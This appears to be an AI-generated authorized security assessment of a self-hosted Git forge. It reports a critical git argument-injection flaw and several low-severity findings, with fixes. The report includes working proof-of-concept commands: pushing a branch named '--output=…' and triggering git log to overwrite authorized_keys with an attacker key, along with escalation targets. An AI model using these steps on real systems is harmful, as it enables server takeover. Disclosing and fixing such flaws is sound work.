Target: Vectrum — self-hosted Git forge (Next.js 16.3.7 + PocketBase + git over HTTP/SSH + CI runners)
Date: 2026-10-02
Scope: Full application source review + live validation against the running instance (web :3000, SSH :2222)
Assessor: Authorized security review (account johannso, on the owner's own infrastructure)
Vectrum is a compact, generally well-built Git forge. Authentication, the PocketBase authorization model, token/secret handling, markdown sanitization, and server-action access control are all sound (see §5).
However, the assessment found one critical, directly exploitable vulnerability: a git argument-injection flaw that lets any authenticated user overwrite arbitrary files on the server with attacker-controlled content, as the server/container user. This leads to remote code execution and full compromise of the instance.
| # | Severity | Finding | Status |
|---|---|---|---|
| 1 | 🔴 Critical | Git argument injection via branch names → arbitrary file overwrite → RCE | Confirmed (git-layer PoC proven; live code path verified) |
| 2 | 🟡 Low | Session-cookie Secure flag depends on a client-supplied header | Confirmed by review |
| 3 | 🟡 Low | Clone/runner URLs trust Host / X-Forwarded-Host | Confirmed by review |
| 4 | 🔵 Info | Runner tokens never expire / cannot be rotated | Confirmed by review |
| 5 | 🔵 Info | SSH server offers no post-quantum key exchange | Observed on live :2222 |
Ref names (branches/tags) are passed to git as positional arguments without an
--end-of-options / -- barrier and without any leading-dash validation. Git parses any
argument that begins with - as an option, not a revision. Because the push handlers
accept ref names that begin with -, an attacker can create a branch literally named
--output=/absolute/path, then cause a server-side git log to run it as an option that
writes attacker-controlled commit text to any file path the server process can write.
lib/git.ts — ref value is placed before -- (or with no barrier at all):
// log()
["log", `--format=${COMMIT_FORMAT}`, `-n${limit}`, `--skip=${skip}`, ref, "--", path]
// commitCount()
["rev-list", "--count", ref] // no barrier
// listContributors()
["shortlog", "-sne", ref, "--"]
// getCommit()
["show", "-s", `--format=${COMMIT_FORMAT}`, sha, "--"]
Three missing validations combine to make this reachable:
lib/git-http.ts (handleServiceRpc) and
lib/ssh-server.ts (session.on("exec")) stream the request straight into
git receive-pack, which accepts refs/heads/--output=….resolveRefAndPath() and defaultBranch()
in lib/git.ts match the attacker's branch name against the real ref list and return it
verbatim.app/[owner]/[repo]/commits/[...segments]/page.tsx → log(repo.dir, ref, …)
— triggered by GET /{owner}/{repo}/commits/--output=/path.app/[owner]/[repo]/page.tsx (repo homepage) → commitCount() + listContributors()
on repo.defaultBranch — triggers automatically on page view if the malicious branch
is the repository's default/only branch.Pushing a dash-prefixed ref is accepted:
$ git push ../srv.git 'HEAD:refs/heads/--output=/tmp/vt/PWNED'
$ git --git-dir srv.git for-each-ref --format='%(refname:short)' refs/heads
--output=/tmp/vt/PWNED
The server-side git log then writes attacker-controlled commit content to an
arbitrary path (here, a forged SSH key line taken from a commit subject the attacker chose):
$ git --git-dir srv3.git log '--format=%s' -n36 --skip=0 '--output=/tmp/vt/authorized_keys' --
$ cat /tmp/vt/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAATTACKERKEY attacker@evil
main branch whose
latest commit subject is the file contents you want to write.--output=/home/node/.ssh/authorized_keys
(or /data/pocketbase-superuser.json, a repo hooks/post-receive, app source, …).
Both the SSH and HTTP push paths accept it unchanged.GET /{you}/{repo}/commits/--output=/home/node/.ssh/authorized_keys
(or simply set that branch as the default and open the repo home). The server runs
git log … --output=… -- and overwrites that file with your commit text.ssh -T -p 2222 git@localhost → Hi johannso! You've successfully authenticated…GET :3000/api/health → {"ok":true}), signups enabled./data not host-visible). This is
host hygiene only; it does not mitigate the flaw in Vectrum.Arbitrary file creation/overwrite as the server (container) user, with substantially
attacker-controlled content. Realistic escalations: implant an SSH authorized_keys,
overwrite data/pocketbase-superuser.json to seize the PocketBase superuser, plant a git
hook or poison application source → remote code execution / full instance compromise.
Exploitable by any user who can sign up and push.
lib/git.ts, insert --end-of-options immediately before
any revision argument (or ensure refs are only ever passed after --). Cover log,
rev-list, shortlog, show, cat-file, ls-tree, and the transport commands.
Example:
["log", `--format=${COMMIT_FORMAT}`, `-n${limit}`, `--skip=${skip}`,
"--end-of-options", ref, "--", ...(path ? [path] : [])]
resolveRefAndPath, listBranches,
listTags, and defaultBranch, drop/deny any ref whose name starts with -.- or otherwise
fail git check-ref-format, in the receive-pack path (lib/git-http.ts,
lib/ssh-server.ts).--output=…, assert no file is written and
the request 404s).Secure flag depends on a client-supplied headerlib/auth.ts → setSessionCookie() sets secure: h.get("x-forwarded-proto") === "https".
The 30-day, sameSite: lax session cookie is only marked Secure when a proxy header says
so. Correct behind the documented TLS proxy, but if the app is exposed directly, or the
proxy is misconfigured to forward the header, the session cookie can be sent in cleartext.
Fix: gate on an explicit server config (e.g. SECURE_COOKIES=1 / a trusted-proxy flag)
rather than a request header.
Host / X-Forwarded-Hostlib/repo.ts (cloneUrls), lib/request-origin.ts, lib/runner-api.ts (originOf) build
clone/runner origins from x-forwarded-host / host. Impact is limited (spoofed clone URLs
shown to users, runner clone origin), but in multi-tenant/public deployments pin these to a
configured canonical host.
lib/runners.ts — runner tokens (vrn_…) are long-lived with no expiry or rotation, unlike
API tokens. A leaked runner token lets a machine claim scoped jobs and receive repo checkout
tokens indefinitely. Consider optional expiry/rotation.
The live :2222 server (ssh2 library) negotiates only classical KEX; OpenSSH clients warn
about "store now, decrypt later" exposure. Low risk for a git transport; track the ssh2
library's PQ support for a future upgrade.
null) except
users.viewRule = "id = @request.auth.id"; the Next.js server mediates every access.httpOnly cookie,
re-validated by reading the user's own record with their token (lib/auth.ts).repoForAction / viewerOrThrow enforce
read/write/admin consistently; issue deletion is restricted to author-or-admin; label and
settings mutations require write/admin. No IDOR found (app/actions/*).lib/tokens.ts, lib/runners.ts, lib/runs.ts, lib/users.ts).rehype-raw → rehype-sanitize ordering is correct (GitHub allowlist
applied last); urlTransform blocks javascript: and similar (components/markdown.tsx,
components/markdown-preview.tsx). Shiki highlight HTML is trusted input.isValidName / isValidOwner / repoPath constrain on-disk repo
paths; cleanRepoPath rejects .., .git, and control characters for web edits
(lib/git.ts, lib/git-write.ts).X-Content-Type-Options: nosniff and a sandboxing CSP,
preventing stored XSS via uploaded blobs/SVGs (app/[owner]/[repo]/raw, /image).lib/repos.ts sniffImageType).lib/git.ts plus ref validation on the push/resolve paths; add the regression test.🤖 Generated with Claude Code